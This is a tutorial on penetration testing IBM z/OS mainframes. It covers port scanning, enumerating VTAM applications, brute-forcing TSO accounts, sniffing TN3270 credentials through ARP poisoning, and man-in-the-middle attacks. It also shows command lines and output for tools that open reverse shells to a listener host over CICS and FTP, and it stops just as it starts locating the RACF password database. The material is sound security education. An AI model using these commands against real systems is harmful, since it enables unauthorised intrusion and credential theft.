Pentesting Mainframes

Mainframes are often associated with everything that is technologically old and obsolete. Sadly, like most stereotypes, this assertion is simply not true. Mainframes rule the world! This is not an overstatement but simply a fact. Every ATM withdrawal, wire transfer, flight booking, insurance claim issued by billions of people around the world are ultimately handled by these so-called legacy systems. Mainframes provide unique stability and performance that cannot be matched by other technologies. Core business applications relied on them for years, and will continue to do so for the foreseeable future. They are not going anywhere, so might as well learn how to pentest them properly in an engagement instead of discarding their IP range from the assets to scan.

The purpose of this article is to demystify this technology and share a few tips and tricks on how to approach it in a typical pentest.

1.1.  What is a Mainframe

A Mainframe is first of all a hardware architecture, the most common of which is the Z series produced by IBM in the beginning of 2000[1]. The whole concept of a Mainframe revolves around three key aspects: availability, performance and retro compatibility. These machines can run for decades non-stop, have as much as 141 processors, each cycling at 5Ghz and span 10TB of RAM in the case of the zEC 13[2]… The specifications depend on the model of course, but the least we can say is that a Mainframe is a computing beast competing with the best of modern machines.

On top of the hardware platform, we naturally find an operating system. In the case of the Z Series there are four major products we may encounter in an engagement:

·  z/OS: a general-purpose operating system. The most common and the one we will focus on in this article.

·  Linux System Z: a POSIX compliant UNIX flavor.

·  z/VM: a single-user mode operating system that acts as a hypervisor and hosts multiple OS instances (z/OS, Unix, etc.)

·  z/TPF: an operating system oriented towards transaction processing (used by airlines mostly)

Now that we can associate an image to a Mainframe, let’s start pentesting one, shall we? The idea is to follow the basic steps of a typical pentest, namely: reconnaissance, information gathering, looking for entry points and privilege escalation.

1.2.  Reconnaissance

When facing a Mainframe – or any machine for that matter – the first reflex of every pentester is to launch a port scan. Some people are afraid to send (malformed) packets to a Mainframe, but that does not make much sense. If you can bring down a machine that processes 20 Billion transactions a day, that is a serious issue that should be identified and fixed as quickly as possible.

In any case, if you take the latest Nmap version (7.40) and fire it against a typical mainframe you will often get something like the following:

root@Lab:~# nmap -sV -n 10.10.40.0/24

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-22 15:03 CET

Nmap scan report for (10.10.40.33)

PORT STATE SERVICE VERSION

21/tcp open ftp IBM OS/390 ftpd V1R10

23/tcp open tn3270 IBM Telnet TN3270 (traditional tn3270)

80/tcp open http Apache

Port 23 is used by the TN3270 service, which is simply a modified Telnet. It is the main communication channel used to interact with a Mainframe.

Port 21 as usual hosts an FTP service, though Nmap’s fingerprinting algorithm confuses OS/390 with z/OS. OS/390 is indeed a legacy and was decommissioned a long time ago. FTP’s banner reveals we are facing version 1.10 of z/OS.

Port 80 is a web server as expected. Every IBM z/OS operating system has a Unix partition inside. This embedded Unix has its own filesystem, its own memory, sometimes even its own processors. In fact, all TCP/IP services are installed on the Unix partition. That’s why we can find traditional services like FTP & HTTP. We can jump between the two world (z/OS and UNIX) which makes it easier in the grey box phase, since most pentesters have a rudimentary Unix knowledge.

FTP and Web services on a Mainframe are vulnerable to the same vulnerabilities we can find elsewhere: anonymous user, XSS, SQLi, etc., so we will not dwell much on them in the reconnaissance phase. We will focus on the more esoteric TN3270 service. We use the tn3270-screen[3] Nmap script to get more information about the Mainframe through port 23:

As you can see we picked up a greeting screen that invites users to access some obscure application. This greeting screen is called VTAM and gives access to multiple applications that may not appear on a port scan[4]. One interesting application to look for is called Time Sharing Option (TSO). It is the command line interpreter on a Mainframe. Think of it is as the “/bin/bash” equivalent on Linux.

This particular Mainframe was friendly enough to explicitly invite users to access TSO. That is not always the case. Sometimes, we get a simple black screen. To list applications available on VTAM, we then need to perform a Brute force on the APPID, a unique identifier used by VTAM to reference applications (e.g. TSO is an APPID). We use vtam-enum.nse script:

As you can see, we found a hidden application published through VTAM: CICS that does not show up on the greeting screen. One more application to test for vulnerabilities!

1.3.  Entry Point

1.3.1.  Time Sharing Option (TSO)

As you can accurately guess, we need valid credentials to access TSO[5]. The authentication process is two-fold: first the system checks the username’s validity, then asks for the password. This leads to a simple user enumeration vulnerability. Since account names cannot exceed 7 letters and do not respect character case, we can perform a first bruteforce to identify trivial accounts. This attack does not trigger a lockout so we can test as many accounts as we want:

We can then perform a second brute force on all valid accounts we found. The password policy is often very weak: no character case, 8 character limit, only three special characters allowed (@,#, &) that are rarely used, if ever. We launch a brute force attack using the tso-brute Nmap script.

If we are lucky enough to get a valid account on TSO we can interact with the mainframe using a 3270 emulator (x3270 on Linux for instance). We download it (apt-get install x3270) then connect to the machine:

We find the greeting screen that Nmap picked up earlier. We enter TSO, then on the new screen provide the valid credentials we got:

As mentioned previously, TSO is simply a command line interpreter. We can issue commands like “Netstat” to list active connections, “ping” to issue ICMP requests, etc.:

You can find a list of useful TSO commands at the following URL[6]. If you prefer the convenience of the UNIX world, type “OMVS” to jump to the UNIX partition where you can find regular commands[7].

If we cannot find a poorly protected account, we can sniff credentials off the wire. Since TN3270 is based on telnet, a clear text protocol by design, traffic interception is often a rewarding process: The tool MFSniffer[8] can be used for instance to perform ARP poisoning on the target and display TSO credentials.

root@Lab:~# python mfsniffer.py -a 10.40.40.33 -p 23 -i eth2

Stealing passwords like its 1985

-{X}- Mainframe: 10.40.40.33 : 23

-{X}- Sniffer started on interface: eth2

-{X}- Mainframe UserID: BARNEY

-{X}- Mainframe Password: PASS01

If by any miracle companies put in place SSL to encrypt traffic, we can use Set’n’3270[9] by @Mainframed767 to perform an Active Man in The Middle and present a false SSL certificate to users. Most 3270 clients do not perform SSL checks or maintain a list of valid certificates so this attack is highly efficient.

1.3.2.  Customer Information Control System (CICS)

The second application we discovered on VTAM is called CICS (Customer Information Control System). CICS is the most widely used interactive middleware on z/OS. It has been around since 1968 and its main role is to ease development of interactive applications on a Mainframe. Think about it, back in the day there was no Web, hardly Internet. To make one app available to other mainframes was a real challenge, hence the need for CICS. It is a middleware that hosts applications written in Cobol/Java/C, handles scheduling, memory consumption, concurrence access, but most of all, it can manage millions of transactions per second!

As with any middleware, CICS is a gold mine of information, provided we know how to communicate with it. There is an interesting talk about CICS at the following URL[10]. In practice, instead of using the 3270 emulator and manually interacting with CICS, we will simply use the following Nmap script to gather information about the system:

root@Lab:~# nmap 10.10.40.33 -p23 --script=cics-info.nse

Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-22 15:05 CET

Nmap scan report for 10.10.40.33

PORT STATE SERVICE VERSION

23/tcp open tn3270 IBM Telnet TN3270 (TN3270E)

| cics-info:

| Security: Disabled

| System:

| z/OS Version: 01.10.00

| CICS Version: 03.02.00

| Default User: CICSUSER

| Users:

| CICSUSER

| PETER

| Transaction / Program

| CECI / DFHCOMP1

| CEMT / DFHCOMP3

As you can see we get the z/OS version: 1.10, CICS version: 3.2 but also other interesting information like account names currently using CICS: CICSUSER and PETER. These can be used to perform a second brute force via TSO for instance.

Furthermore, you can see that under the title “Transaction / Program”, a couple of 4-digit IDs were retrieved by Nmap. These refer to default CICS transactions (or programs) available:

·  CEMT (CICS Master terminal program): it handles resources on CICS: files, programs, transaction ID, etc. Nmap used CEMT to retrieve the information displayed above.

·  CECI gives a pseudo interpreter to execute commands like read files, write files, etc.

To leverage these two programs and use them in a transparent and easy way, we will use CICSPwn, a dedicated tool to pentest CICS. For instance, to list files used by apps on CICS we issue the following request:

root@Lab:~# python cicspwn.py 10.10.40.33 23 -a CICS -f

Similarly, to read a file we simply issue the following command:

root@Lab:~# python cicspwn.py 10.10.40.33 23 -a CICS -–get-file ACCOUNT

CICPwn will perform all the necessary steps to access the file (switch on needed attributes using CEMT, getting key length, iterating through each key to retrieve its value, etc.).

More than just reading files, CICSPwn can execute code on the mainframe provided a few conditions are met:

·  The CECI program must be available[11].

·  The Spool option must be switched ON on CICS. This feature allows CICS to create temporary files (or spools) and submit them to be executed by the internal reader.

Again, using CICSPwn we do not need to trouble ourselves with Job Control Language (scripting language to code Programs on z/OS) or REXX (equivalent of python on z/OS) we simply choose which payload to execute and it will find its way:

root@Lab:~# python cicspwn.py 10.10.40.33 23 -a CICS -s reverse_tso -l 192.168.1.56:4445

[+] Connecting to target 10.10.40.33:23

[*] Access to CICS Terminal is possible with APPID CICS

[*] Spool open ! Got token S0000002

[+] Payload set to reverse tso to 192.168.1.52:4445

[+] Writting JCL to the spool (might take a few seconds)

|******************************| 100.0% Complete

[*] JCL Written successfully to the spool

[*] JOB submitted successfully to JES. Might take a few seconds to execute

We prepare a local listener using the netcat tool and wait for the incoming reverse shell:

We need to emphasize at this point that we did not use any credentials to get this reverse shell. We simply used CICS programs that were available to the default UserID (CICSUSER).

1.3.3.  FTP

The FTP service on z/OS runs on the embedded Unix partition, so we can perform the usual security checks: anonymous account, brute force attack, sniffing the wire, etc.

One interesting feature offered by FTP on z/OS, however, is program execution. That’s right, we can leverage this simple read/write service to submit JOBs (programs) to the Mainframe. Suppose we get a valid account through a bruteforce or sniffing attack, we can use Metasploit’s module ftp_reverse_jcl or the python script MainTP.py[12] to get a reverse UNIX shell:

root@Lab:~# python MainTP.py 10.40.40.33 BARNEY PASS01 -p 21 -r --lhost=192.168.1.52

[+] Connecting to: 10.40.40.33 : 21

[+] Switching to JES mode

[+] Inserting JCL in to job queue

[+] Job JOB04777 added to JES queue

[+] Cleaning up...

[+] Connecting Reverse Shell - Waiting for z/OS!

id

uid=198312(BARNEY) gid=0(SYS1)

1.4.  Privilege escalation

Say we got a TSO shell using any one of the previously mentioned techniques (CICSpwn, ftp_jcl module, bruteforce, …). We issue the “Listuser” command to get the current user’s privileges:

The attribute property can take one of the following:

·  SPECIAL: equivalent of root on z/OS

·  OPERATIONS: can bypass any security rule placed on resources

·  AUDITOR: can access and change log properties.

1.4.1.  Lucky hit

Obviously, if we hit an account with SPECIAL or OPERATIONS attributes, we are pretty much done! We can access any file, download critical data, etc. For instance, we can download the password database to crack more passwords.

In the case of RACF for instance – an IBM product that handles authentication, request access, etc. – we can locate the password database by issuing “RVARY LIST”: